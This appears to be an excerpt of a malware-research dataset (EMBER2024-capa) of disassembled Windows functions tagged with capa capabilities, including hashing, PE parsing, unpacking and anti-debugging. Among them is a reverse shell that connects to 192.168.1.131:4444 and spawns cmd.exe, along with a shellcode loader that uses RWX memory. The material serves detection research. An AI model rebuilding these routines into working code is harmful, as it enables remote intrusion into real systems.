joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801b3270
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x28
movabs rax, 0xfffffffffffffff
mov r8d, 1
bsr rcx, rax
shlx rax, r8, rcx
cmp rdx, rax
jbe 0x1801b32a0
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x1802620c8]
or rax, r8
bsr rcx, rax
mov qword [rsp + 0x20], rdi
inc ecx
shlx rdi, r8, rcx
mov r8, rbx
lea rcx, [0x1802620d8]
lea rdx, [rdi + rdi]
call fcn.1800a0700
mov rax, qword [0x1802620c8]
lea r9, [rdi - 1]
mov qword [0x1802620f0], r9
mov qword [0x1802620f8], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x1801b3423
mov qword [rsp + 0x38], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
nop word [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x1802620d8]
mov r9, qword [r11]
cmp r9, rbx
jne 0x1801b336f
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x1801b33e4
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x1801b33ac
mov r10, qword [rdx]
cmp r10, rax
je 0x1801b33a6
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x1801b33e4
cmp r9, rdx
je 0x1801b33c0
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x1801b33f8
cmp r9, rdx
jne 0x1801b33b1
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x1801b341e
mov r9, qword [0x1802620f0]
jmp 0x1801b3320
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x1801b33e4
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
Function at 0x1801b3800
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r15
sub rsp, 0x80
mov rbp, r8
mov r15, rdx
mov esi, 0x811c9dc5
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rcx + r8], 0
jne 0x1801b3822
xor edx, edx
test rcx, rcx
je 0x1801b3855
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rdx + r8]
inc rdx
xor eax, esi
imul esi, eax, 0x1000193
cmp rdx, rcx
jb 0x1801b3840
xor edi, edi
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], r14
cmp dword [r15 + 8], edi
jle 0x1801b38eb
xor r14d, r14d
mov rbx, qword [r15]
mov r9d, 0x811c9dc5
mov rax, 0xffffffffffffffff
vmovups ymm0, ymmword [rbx + r14 + 0x40]
mov r8, qword [rbx + r14]
nop dword [rax + rax]
inc rax
cmp byte [r8 + rax], 0
jne 0x1801b3890
xor edx, edx
test rax, rax
je 0x1801b38b8
movsx ecx, byte [rdx + r8]
inc rdx
xor ecx, r9d
imul r9d, ecx, 0x1000193
cmp rdx, rax
jb 0x1801b38a1
cmp esi, r9d
je 0x1801b3925
vmovq rdx, xmm0
test rdx, rdx
je 0x1801b38df
mov r8, rbp
lea rcx, [0x1802677d4]
vzeroupper
call fcn.1801b3800
mov ecx, eax
test eax, eax
jne 0x1801b3914
inc edi
add r14, 0x60
cmp edi, dword [r15 + 8]
jl 0x1801b3870
xor eax, eax
vzeroupper
mov r14, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xb0]
add rsp, 0x80
pop r15
pop rdi
pop rsi
ret
vmovups ymm0, ymmword [rbx + r14 + 0x40]
vpextrd eax, xmm0, 2
add eax, ecx
jmp 0x1801b38ed
vpextrd eax, xmm0, 2
jmp 0x1801b38ed

Function at 0x1801b5680
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1801b56ba
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1801b56bf
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1801b5708
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1801e35a0]
cmp byte [rcx + rax], 0
je 0x1801b5708
dec r8
sub rdx, 1
jne 0x1801b56ee
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400025c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000260a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000260a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000260a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000260a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000260a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000260c
xor al, al
add rsp, 0x28
ret
Function at 0x1400f4740
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov qword [rbp - 0x20], r9
mov r14, r8
mov qword [rbp - 0x30], rdx
mov qword [rbp - 0x28], rcx
mov rax, qword [0x140174958]
xor r15d, r15d
xor ecx, ecx
sub rcx, qword [0x140174978]
movabs rbx, 0xa3e3bd0a5f6f91d4
xor rcx, rbx
lea rcx, [rcx + rcx*2]
add rcx, 3
xor rcx, rbx
mov rdx, qword [0x140174940]
movabs rdi, 0xa3e3bd0a5f6f91e5
mov rdx, qword [rdx + rdi]
add rdx, rdx
neg rdx
movabs r13, 0xb299eefeeaf188bd
xor rdx, r13
add rdx, 2
movabs r12, 0xd94cf77f7578c45e
xor rdx, r12
add rdx, qword [rax + rcx + 0x11]
lea rcx, [rbp - 0x28]
call rdx
mov rsi, rax
mov rax, qword [0x140174958]
xor ecx, ecx
sub rcx, qword [0x140174978]
xor rcx, rbx
lea rcx, [rcx + rcx*2]
add rcx, 3
xor rcx, rbx
mov rdx, qword [0x140174940]
mov rdx, qword [rdx + rdi]
add rdx, rdx
neg rdx
xor rdx, r13
add rdx, 2
xor rdx, r12
add rdx, qword [rax + rcx + 0x11]
lea rcx, [rbp - 0x30]
call rdx
mov rdi, rax
mov rax, qword [0x140174958]
xor ecx, ecx
sub rcx, qword [0x140174978]
xor rcx, rbx
lea rcx, [rcx + rcx*2]
add rcx, 3
xor rcx, rbx
mov rax, qword [rax + rcx + 9]
mov rcx, qword [0x140174940]
movabs rdx, 0xa3e3bd0a5f6f91dd
sub r15, qword [rcx + rdx]
xor r15, r12
inc r15
xor r15, r12
add rax, r15
inc rax
lea rcx, [rbp - 0x18]
mov rdx, r14
mov r8, qword [rbp - 0x20]
call rax
cmp rsi, rdi
je 0x1400f4931
mov rcx, qword [rbp - 0x10]
movabs rbx, 0xd06bde0d7ec584af
movabs r14, 0x339f52a9ec27802f
movabs r15, 0xd06bde0d7ec584b7
movabs r12, 0xd06bde0d7ec584ae
movabs r13, 0x339f52a9ec27802e
nop dword [rax + rax]
mov rax, qword [0x140174b40]
mov rax, qword [rax + rbx]
add rax, r14
call rax
mov rcx, qword [rbp - 8]
mov rdx, qword [0x140174b40]
mov rdx, qword [rdx + r15]
mov r8, qword [0x140174b48]
xor r9d, r9d
sub r9, qword [0x140174b58]
xor r9, r12
inc r9
xor r9, r12
xor r10d, r10d
sub r10, qword [r8 + r9 + 9]
xor r10, r13
inc r10
xor r10, r13
lea r9, [rdx + r10]
inc r9
mov rdx, rax
mov r8, rsi
call r9
mov rcx, qword [rbp - 0x10]
add rcx, 0x20
mov qword [rbp - 0x10], rcx
add rsi, 0x20
cmp rsi, rdi
jne 0x1400f48c0
jmp 0x1400f4935
mov rcx, qword [rbp - 0x10]
mov qword [rbp - 0x18], rcx
mov rax, qword [0x140174958]
xor edx, edx
sub rdx, qword [0x140174978]
movabs r8, 0xa3e3bd0a5f6f91d4
xor rdx, r8
lea rdx, [rdx + rdx*2]
add rdx, 3
xor rdx, r8
movabs r8, 0xd94cf77f7578c45f
add r8, qword [rax + rdx + 1]
lea rax, [rbp - 0x18]
mov rsi, rcx
mov rcx, rax
call r8
mov rax, rsi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x14011d034
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14011d07e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14011d07e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14011d07e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14011d07e
cmp dword [rcx + 0x84], 0xe
jbe 0x14011d07e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14011d080
xor al, al
add rsp, 0x28
ret
Function at 0x141670370
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1416704f7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1416703a1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141670387
add dl, dl
jne 0x1416703ae
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14167040e
xor eax, eax
add dl, dl
jne 0x1416703bd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416704c5
add dl, dl
jne 0x1416703ce
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416703db
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416703e8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416703f5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141670402
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141670396
mov eax, 1
add dl, dl
jne 0x14167041e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14167042b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141670413
sub eax, ebx
mov ebx, 1
jne 0x141670464
mov ecx, 1
add dl, dl
jne 0x141670446
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141670453
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14167043b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141670396
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141670480
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14167048d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141670475
cmp eax, 0x7d00
jae 0x1416704b3
cmp eax, 0x500
jb 0x1416704ae
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141670396
cmp eax, 0x7f
ja 0x1416704b6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141670396
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1416704ea
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141670396
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001149
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
nop
cpuid
nop
mov eax, 1
nop
cpuid
nop
movabs r9, 0xb2d05e00
nop
cpuid
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
mov rcx, rax
nop
fldpi
nop
frndint
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
sub rax, rcx
nop
cmp rax, r9
nop
jb 0x140001176
nop
nop
push rbp
nop
mov rbp, rsp
nop
sub rsp, 8
nop
mov r10, 0xa
nop
mov rcx, 0xffffffff9f345678
nop
dec rcx
nop
xor r9, r9
nop
mov rax, rcx
nop
jne 0x1400011af
nop
xor rax, rax
nop
mov rax, rbx
nop
add rax, rdx
nop
dec r10
nop
xor r11, r11
nop
jne 0x1400011a6
nop
xor rax, rax
mov rax, 0xa
nop
dec rax
nop
add rsp, 8
pop rbp
ret

Function at 0x14000365a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xa679
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x1400036ab
mov rbx, rax
call 0x14000368e
nop
pop rsi
mov r9, rax
add rsi, 0x1d480
mov rcx, 0xa679
mov r8, rcx
lea rax, [rsi]
mov dl, byte [rax]
mov byte [rbx], dl
add rsi, 1
add rbx, 1
add rax, 1
dec r8
jne 0x1400036a7
call r9
mov ecx, 1
ret
Function at 0x1400043e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x20
xor ebp, ebp
mov rbx, rcx
lea r8d, [rbp + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x14000448a
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000448a
mov rcx, rax
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rdi
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, 2
shr ebx, 1
lea ecx, [rbx + 1]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140004928
add rbx, rbx
mov rdx, rsi
mov r8, rbx
mov rcx, rax
mov rdi, rax
call fcn.140005860
mov rsi, qword [rsp + 0x30]
mov rax, rdi
mov word [rbx + rdi], bp
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140005374
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400053be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400053be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400053be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400053be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400053be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400053c0
xor al, al
add rsp, 0x28
ret

Function at 0x140008f74
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140008da0

Function at 0x14000c47c
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14001f008]
xor rax, rsp
mov qword [rbp + 0x1b8], rax
xor edi, edi
mov qword [rsp + 0x58], rdx
mov r12, rcx
test rdx, rdx
jne 0x14000bf79
call fcn.14000a290
lea ebx, [rdi + 0x16]
mov dword [rax], ebx
call fcn.14000a170
mov eax, ebx
jmp 0x14000c2af
xorps xmm0, xmm0
mov qword [rdx], rdi
mov rax, qword [rcx]
movdqu xmmword [rsp + 0x30], xmm0
mov rsi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x30]
and al, 0x30
jmp 0x14000bf24

Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov ecx, 0x202
lea rdx, [0x140003040]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov ecx, ebx
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x115c
mov word [0x1400031e0], bx
mov qword [0x1400031d8], rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.1.131
mov word [0x1400031e2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x1400031d8]
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x30], rdi
lea rdx, [0x1400031e0]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [0x1400031e4], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x1400031d8]
lea rdx, str.cmd.exe
xorps xmm0, xmm0
mov qword [0x140003250], rax
movups xmmword [0x140003240], xmm0
mov qword [0x140003248], rax
xor r9d, r9d
mov qword [0x140003240], rax
xor r8d, r8d
lea rax, [0x140003258]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [0x1400031f0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
movups xmmword [0x1400031f0], xmm0
mov dword [rsp + 0x28], edi
movups xmmword [0x140003220], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [0x140003200], xmm0
mov dword [0x1400031f0], 0x68
movups xmmword [0x140003210], xmm0
mov dword [0x14000322c], 0x100
movups xmmword [0x140003230], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14019f960
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14019f96d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14019f97d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14019f965
lea eax, [rcx + 1]
jmp 0x14019f98b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14019f99e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14019f984
sub eax, 3
jb 0x14019f9be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14019fa0d
sar eax, 1
movsxd rbp, eax
jb 0x14019f9f4
jmp 0x14019f9cc
add ebx, ebx
jne 0x14019f9ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14019f9f4
inc ecx
add ebx, ebx
jne 0x14019f9da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14019f9f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14019f9ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14019f9dc
add ecx, 2
jmp 0x14019f9f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14019f922
jmp 0x14019f96d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xe2e00
mov dl, 0x29
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14019fa59
cmp rsi, rcx
jae 0x14019fa61
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14019fa40
cmp al, 0x8f
ja 0x14019fa40
cmp byte [rsi - 2], 0xf
je 0x14019fa46
sub al, 0xe8
cmp al, 1
ja 0x14019fa2a
cmp rsi, rcx
jae 0x14019fa61
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14019fa30
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14019fa61
lodsb al, byte [rsi]
jmp 0x14019fa40
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x19b000]
mov eax, dword [rdi]
or eax, eax
je 0x14019faca
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1cec40]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14019fa6e
jns 0x14019faa3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14019faad
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14019fac4
mov qword [rbx], rax
add rbx, 8
jmp 0x14019fa8e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x247]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14019fb22
sub rsp, 0xffffffffffffff80
jmp 0x1400bea1c
Function at 0x140002060
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000215b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002163
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x14000219a
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002170
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021c5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x1400021eb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400021d0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a310
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
lea edi, [r14 + 0x28]
test al, al
je 0x14000a3c1
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.1400104dc
cmp rax, 1
jne 0x14000a3f7
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14000a39d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x14000a390
cmp rcx, 1
jb 0x14000a3f7
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14000a360
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000bab0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.1400101a0
int3
Function at 0x14000a480
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a4c5
xor al, al
jmp 0x14000a512
cmp word [rbx], 0
je 0x14000a4dd
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a4d0
cmp word [rsp + 0x30], 0
je 0x14000a50b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a533
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a4f0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000bab0
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.1400101a0
int3
Function at 0x14000acd0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001f970
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002fdb0]
lea rsi, [0x140042df0]
mov rdi, rcx
